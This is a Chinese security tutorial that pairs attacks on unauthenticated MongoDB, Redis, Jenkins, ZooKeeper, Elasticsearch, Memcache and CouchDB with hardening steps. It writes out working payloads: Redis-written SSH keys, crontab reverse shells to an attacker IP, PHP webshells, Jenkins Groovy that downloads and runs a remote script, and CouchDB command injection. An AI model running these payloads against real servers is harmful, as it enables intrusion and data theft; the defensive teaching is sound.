Web安全|未授权漏洞访问
字数 1341 2025-08-18 11:38:08

未授权访问漏洞全面解析与防御指南

1. MongoDB未授权访问漏洞

漏洞简介

MongoDB默认安装后未启用认证(--auth参数),导致任何人都可以无需认证直接访问数据库服务器。默认情况下admin数据库为空,即使启用了--auth参数,在未添加用户前仍可进行任何操作。

攻击演示

  1. 使用可视化工具(如Robo 3T)直接连接MongoDB服务器
  2. 无需任何认证即可查看、修改、删除所有数据库

防御方法

  1. 启用认证

    mongod --auth  # 启动时添加认证参数
    
  2. 添加管理员用户

    use admin
    db.createUser({user: "root", pwd: "复杂密码", roles: ["root"]})
    db.auth("root", "复杂密码")  // 返回1表示成功
    
  3. 禁用HTTP/REST接口

    mongod --nohttpinterface  # 或配置文件中设置nohttpinterface=true
    
  4. 限制绑定IP

    mongod --bind_ip 127.0.0.1  # 或配置文件中设置bind_ip=127.0.0.1
    

2. Redis未授权访问漏洞

漏洞简介

Redis默认绑定在0.0.0.0:6379且无认证,攻击者可:

  • 读取敏感数据
  • 执行flushall清空数据
  • 以root身份写入SSH公钥获取服务器权限
  • 写入crontab计划任务反弹shell
  • 写入Webshell

攻击方法

方法一:写入SSH公钥

  1. 生成SSH密钥对:

    ssh-keygen -t rsa
    
  2. 将公钥写入目标服务器:

    (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/key.txt
    cat /tmp/key.txt | redis-cli -h 目标IP -x set crackit
    redis-cli -h 目标IP
    config set dir /root/.ssh
    config set dbfilename "authorized_keys"
    save
    

方法二:写入crontab反弹shell

redis-cli -h 目标IP
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/攻击机IP/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

方法三:写入Webshell

redis-cli -h 目标IP
config set dir /var/www/html
set xxx "\n\n\n<?php @eval($_POST['cmd']);?>\n\n\n"
config set dbfilename shell.php
save

防御方法

  1. 禁用高危命令

    rename-command FLUSHALL ""
    rename-command CONFIG ""
    rename-command EVAL ""
    
  2. 以低权限运行

    groupadd -r redis && useradd -r -g redis redis
    
  3. 启用认证

    requirepass 复杂密码
    
  4. 限制网络访问

    bind 127.0.0.1
    protected-mode yes
    
  5. 修改默认端口

    port 6379 → 修改为其他端口
    
  6. 设置防火墙规则

    iptables -A INPUT -p tcp -s 允许IP --dport 6379 -j ACCEPT
    iptables -A INPUT -p tcp --dport 6379 -j DROP
    

3. Jenkins未授权访问漏洞

漏洞简介

Jenkins默认安装可能未设置认证或使用弱密码,攻击者可:

  • 直接访问管理界面
  • 执行Groovy脚本获取系统权限
  • 写入反弹shell脚本

攻击演示

  1. 访问http://目标IP:8080尝试默认凭证(admin/admin)

  2. 在脚本控制台执行:

    println "wget http://攻击机IP/back.py -P /tmp/".execute().text
    println "python /tmp/back.py 攻击机IP 4444".execute().text
    
  3. 文件读写操作:

    // 读文件
    new File("/etc/passwd").getText()
    
    // 写文件
    new File("/tmp/shell.php").write('<?php system($_GET["cmd"]);?>')
    

防御方法

  1. 禁止公网直接暴露
  2. 启用强认证
    • 设置复杂密码
    • 启用账户锁定策略
  3. 限制脚本执行权限

4. ZooKeeper未授权访问

漏洞简介

默认开放2181端口且无认证,攻击者可:

  • 收集服务器敏感信息
  • 执行管理员命令(如kill)
  • 破坏集群

攻击演示

echo envi | nc 目标IP 2181  # 获取环境信息

防御方法

  1. 禁止公网暴露
  2. 添加访问控制
    • 认证用户
    • 用户名/密码认证
  3. 绑定指定IP

5. Elasticsearch未授权访问

漏洞简介

默认开放9200端口,可导致:

  • 敏感数据泄露
  • 远程代码执行

攻击演示

  1. 信息收集:

    http://目标IP:9200/_cat/indices/
    http://目标IP:9200/_nodes
    http://目标IP:9200/_search?pretty
    
  2. Python检测脚本:

    import requests
    def check(ip, port=9200):
        url = f"http://{ip}:{port}/_cat"
        try:
            r = requests.get(url, timeout=5)
            if "/_cat/master" in r.text:
                print(f"[+] Elasticsearch未授权访问: {ip}:{port}")
        except: pass
    

防御方法

  1. 限制IP访问

    network.host: 127.0.0.1
    
  2. 启用认证

    http.basic.enabled: true
    http.basic.user: "admin"
    http.basic.password: "复杂密码"
    http.basic.ipwhitelist: ["127.0.0.1"]
    

6. Memcache未授权访问

漏洞简介

无权限控制模块,可导致:

  • 敏感数据泄露
  • 数据被恶意修改
  • 二次安全漏洞(XSS、SQL注入等)

攻击演示

telnet 目标IP 11211  # 或 nc -vv 目标IP 11211
stats  # 查看统计信息

防御方法

  1. 限制绑定IP

    memcached -d -m 1024 -u nobody -l 127.0.0.1 -p 11211
    
  2. 防火墙规则

    iptables -A INPUT -p tcp -s 允许IP --dport 11211 -j ACCEPT
    iptables -A INPUT -p tcp --dport 11211 -j DROP
    
  3. 配置文件修改

    OPTIONS="-l 127.0.0.1"
    

7. CouchDB未授权访问

漏洞简介

默认无认证,可导致:

  • 任意文件读取
  • 命令执行
  • 服务器沦陷

攻击演示

文件读取

curl -X PUT 'http://目标IP:5984/_config/query_servers/cmd' -d '"/bin/cat /etc/passwd >/var/www/html/passwd"'
curl -X PUT 'http://目标IP:5984/vultest/'
curl -X PUT 'http://目标IP:5984/vultest/vul' -d '{"_id":"test"}'
curl -X POST 'http://目标IP:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'

反弹shell

curl -X PUT 'http://目标IP:5984/_config/query_servers/shell' -d '"/bin/bash -i >& /dev/tcp/攻击机IP/4444 0>&1"'
# 同上创建数据库和视图触发

防御方法

  1. 限制绑定IP

    bind_address = 127.0.0.1
    
  2. 设置密码

    [admins]
    admin = 复杂密码
    
  3. 强制认证
    配置WWW-Authenticate头

通用防御建议

  1. 最小化网络暴露

    • 仅绑定必要IP(127.0.0.1或内网IP)
    • 使用防火墙限制访问来源
  2. 启用认证机制

    • 为所有服务设置强密码
    • 定期轮换密码
  3. 权限最小化

    • 使用非root用户运行服务
    • 限制服务账户权限
  4. 日志监控

    • 记录所有管理操作
    • 设置异常访问告警
  5. 定期更新

    • 保持服务版本最新
    • 应用安全补丁

通过实施这些措施,可有效防范未授权访问漏洞带来的安全风险。

未授权访问漏洞全面解析与防御指南 1. MongoDB未授权访问漏洞 漏洞简介 MongoDB默认安装后未启用认证(--auth参数),导致任何人都可以无需认证直接访问数据库服务器。默认情况下admin数据库为空,即使启用了--auth参数,在未添加用户前仍可进行任何操作。 攻击演示 使用可视化工具(如Robo 3T)直接连接MongoDB服务器 无需任何认证即可查看、修改、删除所有数据库 防御方法 启用认证 : 添加管理员用户 : 禁用HTTP/REST接口 : 限制绑定IP : 2. Redis未授权访问漏洞 漏洞简介 Redis默认绑定在0.0.0.0:6379且无认证,攻击者可: 读取敏感数据 执行flushall清空数据 以root身份写入SSH公钥获取服务器权限 写入crontab计划任务反弹shell 写入Webshell 攻击方法 方法一:写入SSH公钥 生成SSH密钥对: 将公钥写入目标服务器: 方法二:写入crontab反弹shell 方法三:写入Webshell 防御方法 禁用高危命令 : 以低权限运行 : 启用认证 : 限制网络访问 : 修改默认端口 : 设置防火墙规则 : 3. Jenkins未授权访问漏洞 漏洞简介 Jenkins默认安装可能未设置认证或使用弱密码,攻击者可: 直接访问管理界面 执行Groovy脚本获取系统权限 写入反弹shell脚本 攻击演示 访问 http://目标IP:8080 尝试默认凭证(admin/admin) 在脚本控制台执行: 文件读写操作: 防御方法 禁止公网直接暴露 启用强认证 : 设置复杂密码 启用账户锁定策略 限制脚本执行权限 4. ZooKeeper未授权访问 漏洞简介 默认开放2181端口且无认证,攻击者可: 收集服务器敏感信息 执行管理员命令(如kill) 破坏集群 攻击演示 防御方法 禁止公网暴露 添加访问控制 : 认证用户 用户名/密码认证 绑定指定IP 5. Elasticsearch未授权访问 漏洞简介 默认开放9200端口,可导致: 敏感数据泄露 远程代码执行 攻击演示 信息收集: Python检测脚本: 防御方法 限制IP访问 : 启用认证 : 6. Memcache未授权访问 漏洞简介 无权限控制模块,可导致: 敏感数据泄露 数据被恶意修改 二次安全漏洞(XSS、SQL注入等) 攻击演示 防御方法 限制绑定IP : 防火墙规则 : 配置文件修改 : 7. CouchDB未授权访问 漏洞简介 默认无认证,可导致: 任意文件读取 命令执行 服务器沦陷 攻击演示 文件读取 反弹shell 防御方法 限制绑定IP : 设置密码 : 强制认证 : 配置WWW-Authenticate头 通用防御建议 最小化网络暴露 : 仅绑定必要IP(127.0.0.1或内网IP) 使用防火墙限制访问来源 启用认证机制 : 为所有服务设置强密码 定期轮换密码 权限最小化 : 使用非root用户运行服务 限制服务账户权限 日志监控 : 记录所有管理操作 设置异常访问告警 定期更新 : 保持服务版本最新 应用安全补丁 通过实施这些措施,可有效防范未授权访问漏洞带来的安全风险。